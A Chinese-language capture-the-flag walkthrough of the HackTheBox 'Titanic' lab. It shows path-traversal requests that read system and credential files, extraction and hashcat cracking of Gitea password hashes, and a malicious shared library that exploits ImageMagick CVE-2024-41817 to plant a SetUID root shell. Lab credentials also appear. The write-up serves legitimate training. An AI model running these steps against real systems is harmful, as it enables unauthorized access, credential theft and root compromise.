HTB Titanic靶机渗透实战:从目录遍历到ImageMagick漏洞提权

本文详细分析了HTB Titanic靶机的渗透过程,涉及子域名枚举、Flask应用目录遍历漏洞利用、Gitea数据库哈希破解、以及ImageMagick CVE-2024-41817本地提权,完整再现从外网渗透到获取root权限的技术路径。

HTB: Titanic

靶机信息

项目 详情
名称 Titanic
发布日期 2025年2月15日
退役日期 2025年6月21日
操作系统 Linux
基础分值 简单 [20]
创建者 ruycr4ft

侦察

Nmap扫描

Nmap发现两个开放TCP端口:SSH (22) 和 HTTP (80):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
oxdf@hacky$ nmap -p- --min-rate 10000 10.10.11.55
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

oxdf@hacky$ nmap -p 22,80 -sCV 10.10.11.55
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
Service Info: Host: titanic.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

根据OpenSSH和Apache版本,目标可能运行Ubuntu 22.04 jammy。

子域名模糊测试

Nmap显示端口80重定向到titanic.htb。使用ffuf进行子域名枚举:

1
2
oxdf@hacky$ ffuf -u http://10.10.11.55 -H "Host: FUZZ.titanic.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac
dev                     [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 101ms]

将发现的主机名添加到/etc/hosts:

1
10.10.11.55 titanic.htb dev.titanic.htb

titanic.htb - TCP 80

网站分析

网站为游轮公司页面,所有链接无效,但"Book"按钮弹出表单:

提交表单后返回JSON文件下载,文件名格式为[GUID].json。

技术栈

HTTP头显示运行Werkzeug Python:

1
Server: Werkzeug/3.0.3 Python/3.10.12

确认为Flask应用,404页面为默认Flask样式。

目录暴力枚举

使用feroxbuster未发现有趣内容:

1
2
3
4
oxdf@hacky$ feroxbuster -u http://titanic.htb
...
405      GET        5l       20w      153c http://titanic.htb/book
...

/book端点仅接受POST请求。

dev.titanic.htb - TCP 80

Gitea实例

该子域名托管Gitea实例,包含两个公共仓库:

docker-config仓库

包含docker-compose文件,显示Gitea数据路径:

1
2
volumes:
  - /home/developer/gitea/data:/data

MySQL配置包含密码:

1
2
environment:
  MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'

flask-app仓库

包含titanic.htb源码,关键文件app.py显示路由:

  • / 返回静态页面
  • /book 处理POST请求,保存数据到随机UUID文件
  • /download 使用os.path.join组合路径,存在目录遍历漏洞

获取developer shell

文件读取漏洞

漏洞利用

/download端点存在目录遍历,利用os.path.join特性:

1
os.path.join("tickets", "/etc/passwd")  # 返回 '/etc/passwd'

用户标志

直接读取用户标志:

1
GET /download?ticket=/home/developer/user.txt

定位Gitea数据库

根据docker-compose信息,读取Gitea配置文件:

1
GET /download?ticket=/home/developer/gitea/data/gitea/conf/app.ini

发现数据库路径:/data/gitea/gitea.db

获取哈希

下载数据库文件:

1
oxdf@hacky$ curl 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db

提取用户哈希:

1
sqlite> select passwd,salt,name from user;

转换哈希格式:

1
oxdf@hacky$ sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done

破解哈希

使用hashcat破解:

1
oxdf@corum$ hashcat gitea.hashes /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user

破解得到developer密码:25282528

SSH访问

使用破解的密码连接SSH:

1
oxdf@hacky$ sshpass -p '25282528' ssh developer@titanic.htb

获取root权限

枚举

进程检查

进程仅对当前用户和root可见:

1
developer@titanic:~$ ps auxww

由于/proc使用hidepid=invisible挂载。

文件系统

发现/opt/scripts/identify_images.sh:

1
2
3
cd /opt/app/static/assets/images
truncate -s 0 metadata.log
find /opt/app/static/assets/images/ -type f -name "*.jpg" | xargs /usr/bin/magick identify >> metadata.log

脚本每分钟以root权限运行。

CVE-2024-41817利用

漏洞识别

ImageMagick版本7.1.1-35存在CVE-2024-41817,当前工作目录包含在共享库搜索路径中。

PoC

创建恶意共享库:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("id");
    exit(0);
}
EOF

获取shell

创建SetUID bash:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
developer@titanic:/opt/app/static/assets/images$ gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cp /bin/bash /tmp/0xdf; chmod 6777 /tmp/0xdf");
    exit(0);
}
EOF

等待cron执行后获取root shell:

1
2
developer@titanic:/opt/app/static/assets/images$ /tmp/0xdf -p
0xdf-5.1# cat /root/root.txt

总结

通过子域名枚举发现Gitea实例,分析源码发现目录遍历漏洞,读取Gitea数据库破解哈希获取SSH访问,最后利用ImageMagick CVE-2024-41817实现权限提升。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计